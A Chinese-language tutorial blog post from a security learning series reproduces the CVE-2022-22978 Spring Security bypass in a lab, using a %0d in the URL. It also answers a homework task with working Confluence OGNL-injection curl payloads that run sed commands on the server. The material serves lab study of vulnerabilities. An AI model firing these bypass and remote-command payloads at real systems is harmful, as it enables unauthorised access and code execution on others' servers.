iT邦幫忙

2022 iThome 鐵人賽

DAY 12
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 14

Day12 - 總有那麼一個人,在乎的不是你能飛多高,而是你能否被%0d%0a繞過。 (作業4解答)

  • 分享至 

  • xImage
  •  

總有那麼一個人,在乎的不是你能飛多高,而是你是否累了想停下。
By 俗女養成記 (The Making of an Ordinary Woman), 2021 /images/emoticon/emoticon06.gif

Yes

  • 第12天了要接續我們的輕鬆系列漏洞,但是過了今天就要開始進入提權的世界惹,趕快保握最後的輕鬆系列吧,先來看看漏洞的相關資訊。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-22978
    • CVSS 3.0 分數 : 9.8 CRITICAL
    • 漏洞類型 : 繞過認證授權
    • 使用版本資訊
      • Ubuntu: Ubuntu 22.04.1 LTS
      • Apache Maven 3.8.6
      • SpringBoot相關套件 5.3.17 (沿用 day05 環境及專案)
      • Spring Security 5.6.2
    • 漏洞先備知識 :
      • 基本HTTP及網站運作概念
      • 網站開發基本概念
    • 漏洞收穫技能 :
      • Spring Security 基本使用方法
  • 在網頁應用程式中身份的認證與授權算是相當重要的功能,認證功能代表辨識使用者身份,一般來說常見的方法是透過帳號密碼認證。而授權必須發生在認證之後,當知道使用者身份後,在依照當初設定給該身份的腳色,給予系統服務可執行的操作,稱之為授權。

  • Spring Security 就是透過 web filter 機制提供認證授權機制,而且本身還有基本的GUI可以使用。首先我們先來建個相關專案,但前置部分需要用 Day6 - Spring4Shell漏洞 (弱點專案檢視及建置篇)所建立的弱點專案進行疊床架屋。/images/emoticon/emoticon07.gif

步驟如下 :

  1. 先調整 pom.xml 檔案的相依內容
<properties>
	<java.version>1.9</java.version>
	<spring-security.version>5.6.2</spring-security.version>
</properties>
<dependencies>
    <!-- 前略 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-security</artifactId>
    </dependency>
</dependencies>
  1. 啟動服務測試一下,記得用之前寫的自動化腳本編譯
  2. 進入服務 http://IP:8066/Spring4Shell/
  3. 發現跳轉到登入畫面,但此時還不知道登入認證資訊
  4. 新增程式 WebSecurityConfig.java
package com.example.Spring4Shell;

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

@Configuration
@EnableWebSecurity
@EnableGlobalMethodSecurity(prePostEnabled = true)
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests().regexMatchers("/.*")
                .authenticated().and()
                .formLogin().and()
                .httpBasic();
    }

    @Override
    protected void configure(AuthenticationManagerBuilder auth)
            throws Exception {
                auth //Builder Design Pattern
                .inMemoryAuthentication() //自訂Runtime時的使用者帳號
                .withUser("admin") //新增user
                .password("{noop}admin12345") //指定密碼
                .roles("ADMIN")
                .and()
                .withUser("user")
                .password("{noop}user12345")
                .roles("USER") ;
    }
}
  1. 調整 Spring4ShellApplication.java,讓 / 之後帶入任意字串也可以接受 (註: 這邊的*為 linux globs 語法,很重要,期末考不會考!!)
@RequestMapping({ "", "/*" })
public String test(User user) {
    System.out.println("I am " + user.getUsername());
    if(user.getUsergame()!=null) {
        System.out.println("I have game " + user.getUsergame().getGamename());
    }
    return "ok";
}
  1. 重新編譯部署服務,進入服務 http://IP:8066/Spring4Shell/
  2. 輸入帳密 admin/admin12345,發現可以通過
  3. 清除 cookie ,重新登入 http://IP:8066/Spring4Shell/aeifkz%0d
  4. 哈哈 繞過收工...
  • 其實這個弱點的原理在於,Java的正規表達式解析 . 這個符號代表著 Any character (may or may not match line terminators),但是預設情況下不包含所謂的 line terminators,也就是 \r 或是 \n,而該兩個符號在 URLEncode 的結果就是 %0d 跟 %0a。所以當URL一包含了 %0d 或是 %0a,Spring Security 用 "/.*" 比對就會不符合,因此直接繞過了認證部分。概念上是不是很簡單呢?

  • 接著要討論一下這個漏洞的嚴重性,跟上個漏洞一樣高達9.8分,但是真的有這麼嚴重嗎? 回憶一下我們剛剛所描敘的,認證授權的關係,先有認證才有授權,所以當一個網站是透過 Spring Security 進行認證及授權的時候,這樣繞過 Spring Security 反而對我們就沒有好處,因為根本就取不到身份。反之如果一個網站認為只要通過Spring Security 就預設給予高權限的身份,就會被這個漏洞所影響。

  • 如果想學習如何用 Java 程式進行驗證正規表達式的比對符號,也可以參考我之前的影片 (CVE-2022-22978) 簡單符號%0d%0a讓 Spring Security 不再 Spring Security!!!!!

Confluence 回家作業的回家作業解答 : /images/emoticon/emoticon15.gif

  • 假如有個 htmlEncode 字樣出現很多次,我只想改第三個出現的,請問該如何使用 sed 去達成這個效果?

  • 透過 sed -i '0,/要被取代字串/{s/要被取代字串/新的字串/}' 檔案名稱 可以取代第一個對應到的部份,所以要改變第三個的話可以先把目標改變成一個唯一的數值 aeifkz 做三次,然後再把aeifkz改回目標做兩次,就可以完美的第三個出現的目標了。

測試步驟如下 :

  1. 先進入有 docker-compose.yml 的資料夾底下
  2. docker compose up -d
  3. docker exec -it (Web容器名稱) bash
  4. cd /opt/atlassian/confluence/confluence/
  5. cp 500page.jsp.bak 500page.jsp #改之前恢復檔案
  6. cat 500page.jsp | grep htmlEncode # 觀察一下檔案狀態
  7. 透過 POC 發動 sed 指令進行置換
#跑三次
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/htmlEncode/s/htmlEncode/aeifkz/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
#跑兩次
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/aeifkz/s/aeifkz/htmlEncode/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
  1. cat 500page.jsp | grep htmlEncode

參考資料 :

  1. Day 28 - Spring Boot Security 守護安全
  2. Spring Security簡介與第一個login畫面

上一篇
Day11 亂入 - 當年被評為目錄走訪的小蝦米漏洞想不到居然是條 RCE 大鯨魚
下一篇
Day13 - Pwnkit 可不可以讓我提權一下下就好
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言